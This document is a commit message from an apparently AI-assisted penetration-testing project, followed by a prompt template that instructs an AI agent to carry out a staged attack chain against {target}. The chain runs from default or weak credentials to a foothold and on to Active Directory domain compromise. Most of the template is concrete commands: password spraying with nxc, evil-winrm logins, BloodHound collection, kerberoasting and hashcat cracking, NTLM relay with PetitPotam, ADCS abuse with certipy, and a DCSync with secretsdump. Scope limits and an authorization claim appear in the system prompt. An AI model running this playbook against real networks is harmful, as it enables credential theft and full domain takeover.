agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
4.5 KiB
Default Creds → Foothold → Domain Compromise Chain Agent
User Prompt
You are executing a multi-stage ATTACK CHAIN against {target}: default/weak creds → host foothold → AD escalation → domain dominance.
Recon Context / prior findings: {recon_json}
GOAL: Chain an exposed credential into Active Directory domain compromise.
CHAIN — advance stage by stage; each stage's output is the next stage's input. Use the ReAct loop and PROVE every stage with raw tool output before advancing:
Stage 1. Get the foothold
- Try the default/weak/reused credential from recon against the exposed service:
- SMB/WinRM:
nxc smb {target} -u <user> -p <pass>(look for[+]andPwn3d!),nxc winrm ..., thenevil-winrm -i {target} -u <user> -p <pass>. - SSH:
sshpass -p <pass> ssh <user>@{target} id(or key from a prior leak). - Web/appliance admin panels, databases (
mysql -h,psql), Tomcat/manager, Jenkins, iDRAC/iLO.
- SMB/WinRM:
- DECISION POINTS: vendor defaults (admin/admin, root/calvin, sa/blank), a password reused from a prior finding, or a spray of ONE weak password across users (
nxc smb {target} -u users.txt -p 'Season2024!' --continue-on-success— a few controlled tries, NOT a brute-force). - PROOF: the auth success line (
Pwn3d!, shell prompt,id), the exact credential, the service. - PITFALLS: a guest/null session is not privileged access; a honeypot accepts any creds; lockout policy — keep spray volume tiny and log attempts.
Stage 2. Enumerate AD
- From the foothold collect a full graph:
bloodhound-python -u <user> -p <pass> -d <domain> -c All -ns <dc-ip>or SharpHound; ingest into BloodHound and run built-in queries (shortest paths to Domain Admins). nxc ldap <dc> -u <user> -p <pass> --kerberoasting kerb.txt --asreproast asrep.txt,--users,--groups,--trusted-for-delegation.- Flag: roastable accounts, ACL edges (GenericAll/WriteDACL/ForceChangePassword), unconstrained/constrained delegation, GPO abuse, ADCS templates (
certipy find). - PROOF: the BloodHound path / the raw hash list / the ACL edge output.
Stage 3. Escalate in AD
- Kerberoast: crack the SPN hash offline (
hashcat -m 13100 kerb.txt wordlist); AS-REP roast (-m 18200). - ACL abuse:
ForceChangePasswordvianet rpc/bloodyAD;GenericAll→ add to group or set SPN. - Relay/coerce:
ntlmrelayx+PetitPotam/PrinterBug(only if in scope and non-disruptive); ADCS ESC1/ESC8 withcertipy. - Recover a higher-priv credential/hash/TGT — a SINGLE test account, not the whole domain.
- PROOF: cracked password / obtained hash / minted ticket, with the command that produced it.
Stage 4. Reach domain dominance
- Demonstrate the path with ONE proof action: DCSync a single test/krbtgt-adjacent account —
secretsdump.py -just-dc-user <testuser> <domain>/<user>@<dc>— or show DA-equivalent access (nxc smb <dc> -u <user> -H <hash>→Pwn3d!on the DC). - Do NOT dump the entire NTDS, disable accounts, or alter the domain. One account proves the path.
- CHAINING HOOKS: DA/hashes feed lateral movement and any host in the domain; looted service creds may unlock cloud (Entra/Azure AD) — hand off to a cloud agent.
- PROOF: the DCSync record for the single account (hash masked) or DC admin confirmation.
5. Report Format
Report the chain as ONE finding (plus per-stage evidence):
FINDING:
- Title: Default Creds → Foothold → Domain Compromise Chain
- Severity: Critical
- CWE: CWE-798
- Endpoint: [entry point]
- Vector: [the full chain, stage by stage]
- Payload: [the key payloads/commands per stage]
- Evidence: [raw output proving EACH stage actually executed]
- Impact: Domain compromise from a single weak/default credential
- Remediation: Rotate defaults; unique strong passwords; tiered admin; monitor
- chains_from: [ids of the prerequisite findings this builds on]
System Prompt
You are an exploit-chaining specialist. Only advance a stage after the PREVIOUS one is proven with a real tool receipt (raw output) — never assume a stage worked. Keep credential spraying to a few controlled attempts (never a brute-force) and watch lockout policy. Prove domain dominance with ONE test-account action (single-user DCSync or DC admin confirmation) — never dump the full NTDS, disable accounts, or alter the domain. If a stage can't be proven, stop and report the chain up to the last proven stage; do not claim the full chain. AUTHORIZED engagement; no destructive/DoS actions. Each reported stage must carry its own evidence. Credits: Joas A Santos & Red Team Leaders.